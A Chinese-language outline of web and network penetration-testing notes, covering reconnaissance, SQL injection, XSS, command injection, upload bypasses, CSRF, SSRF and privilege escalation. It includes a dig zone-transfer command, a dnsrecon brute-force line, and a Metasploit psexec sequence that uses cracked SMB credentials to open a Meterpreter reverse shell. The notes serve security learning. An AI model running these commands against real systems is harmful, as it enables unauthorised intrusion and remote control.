文章目录
1.信息收集
1.1.DNS查询
- 查询域名信息:whois 域名
- 查询子域名:searchdns.netcraft.com
1.2.域名传送漏洞
DNS区域传送(DNS zonetransfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送(zone transfer)操作是后果最为严重的错误配置之一。
可以使用dig 工具来检测域传送漏洞,命令如下
[dig axfr @dns.example.com example.com]
dig axfr @172.16.132.1 www.vulhub.org
1.3.子域名爆破
工具:dnsrecon
dnsrecon -d vulnweb.com -D /root/tmp/1901/dic/dns.dic -t brt
2.漏洞扫描
扫描工具
Nessus,NeXpose,openVas
2.1.扫描神器——nmap
在没有指定端口的情况下,默认扫描top 1000的端口。
nmap IP地址 -p- :对某主机全端口的扫描
2.2.扫描工具——openvas
- 创建扫描目标
- 扫描任务
- 扫描完成
- 打印报告
2.3.扫描工具——AWVS
2.3.关于漏洞
- 漏洞名称
- 漏洞风险等级:高|中|低|信息泄露
- 漏洞描述
- 修复建议
3.口令破解
-
使用hydra
-
windows使用smb(445端口)
-
linux使用ssh
爆破成功后使用msf:
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_tcp
set rhosts IP地址
set smbuser 用户名
set smbpass 密码
set lhost IP地址
exploit
4.SQL注入漏洞
-
注入地方:
-
分类
-
mysql中注释
-
mysql元数据库:information_schema(存储库名表名字段名的数据库)
- tables(存储所有表的表)
- table_name(表名的字段)
- table_schema(所属的数据库名的字段)
- columns(存储所有字段的表)
- column_name(存储字段名的字段)
- table_name(字段所属的表名的字段)
- table_schema(字段所属的数据库名的字段)
- tables(存储所有表的表)
-
mysql常用函数与参数
-
基本过程
-
分别对应四大基本手法:
-
联合查询
- 判断手法
- 方式
查看这篇博客
- 判断手法
-
报错注入:还用于判断是字符型还是数字型,如果是字符型要加’提示 --+实现闭合
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可
(1)group by 重复件冲突
(2)XPATH报错
-
布尔盲注
首先测出数据库长度
在一位一位的测字母
-
延时注入
-
-
口诀
- 是否有回显 联合查询
- 是否有报错 报错注入
- 是否有布尔类型状态 布尔盲注
- 绝招 延时注入
-
使用神器sqlmap
-
使用sql注入读写文件
5.XSS漏洞
5.1.基础知识
-
分类
反射型、存储型、DOM型 -
XSS的构造
- 利用<>
- 伪协议
- 产生自己的事件
- 使用CSS样式(略old)
- 其他标签以及手法
- 利用<>
-
XSS的变形(我们可以对构造的XSS代码进行各种变形,以绕过XSS过滤器的检测。变形方式主要有以下几种)
- 大小写转换
- 引号的使用
- [/]代替空格
- 利用回车
- 对标签属性值进行转码
- 拆分跨站
- 双写绕过
- 大小写转换
5.2.beef—XSS神器
- beef启动
- 浏览器劫持
- cookie欺骗
- 利用浏览器漏洞getshell-msf
- XSS平台 xsspt.com,自动生成shellcode
5.3.shellcode方法
- windows.location.hash
- XSS Downloader
- 备选存储技术
- 测试代码
<script " ’ OOnn>
6.php代码注入
- 原理以及成因
- 漏洞危害
- 相关的函数和语句
- eval()
- assert()
- preg_replace()
- call_user_func()
- 动态函数$a(`$b)
6.1.漏洞利用方式
- 直接获取shell
- 获取当前文件的绝对路径
- 读文件
- 写文件
- 防御方法
7.OS命令注入
- 原理以及成因
- 漏洞危害
7.1.相关函数
- system()
- exec()
- shell_exec()
- passthru()(自带输出)
- popen()
- 反引号
7.2.漏洞利用方法
8. 文件上传漏洞
8.1.webshell
- webshell
- 大马
- 小马
- 文件上传漏洞利用的条件
8.2.防御、绕过、利用
- put方法上传文件
HTTP请求方法之一,允许像服务器直接写入文件,提交请求报文即可
- 对于前段检测
- 对于服务器端检测-MIME检测
检测的是content-type类型,可以抓包改 - 对于服务器端检测-文件内容
图片木马(可以后缀名改成gif,然后文件内容前面加上GIF89a)+其他漏洞
- 对于服务器端检测-后缀名
- 00截断绕过
- .htaccess攻击
- web容器解析漏洞
9.变量覆盖漏洞
10.文件包含漏洞
- 漏洞原理
- 特点
- 文件包含漏洞利用
11.跨站请求伪造(CSRF)
- 概述
- 关键点
- 目标
实例:
与XSS漏洞相结合就不需要钓鱼网站了
- 无效防御:
- 使用秘密cookie
- 仅接受POST请求
- 多步交易
- URL重写
- HTTPS
- 有效防御:
- 验证Referer字段
- 添加Token验证
- 二次验证
12.服务器端请求伪造(SSRF)
- SSRF概述
- SSRF危害
- SSRF漏洞利用
- SSRF的防御
13.业务安全漏洞
14.提权
14.1.分类
14.2.基于webshell的提权
使用IIS的aspx大马,asp脚本权限比较低
14.3.基于windows的提权
- 系统漏洞提权:
找补丁、找漏洞、找exp
15.Metasploit
15.1.功能简述
- 软件更新
- 情报收集阶段
-
网站敏感目录扫描
-
主机发现
-
端口扫描
-
探测服务详细信息
-
服务查点
- telnet服务查点
- SSH服务查点
- telnet服务查点
-
- 口令猜测
-
telnet服务口令猜解
-
SSH服务口令猜解
-
- 威胁建模阶段
- 漏洞分析阶段
- 后渗透攻击阶段
Meterpreter
- 报告生成模块
16.反序列化
16.1.为什么要序列化
17.点击劫持
点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的 iframe,覆盖在一
个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的 iframe页面。通过调整 iframe 页面的位置,可以诱使用户恰好点击在 iframe 页面的一些功能性按钮上。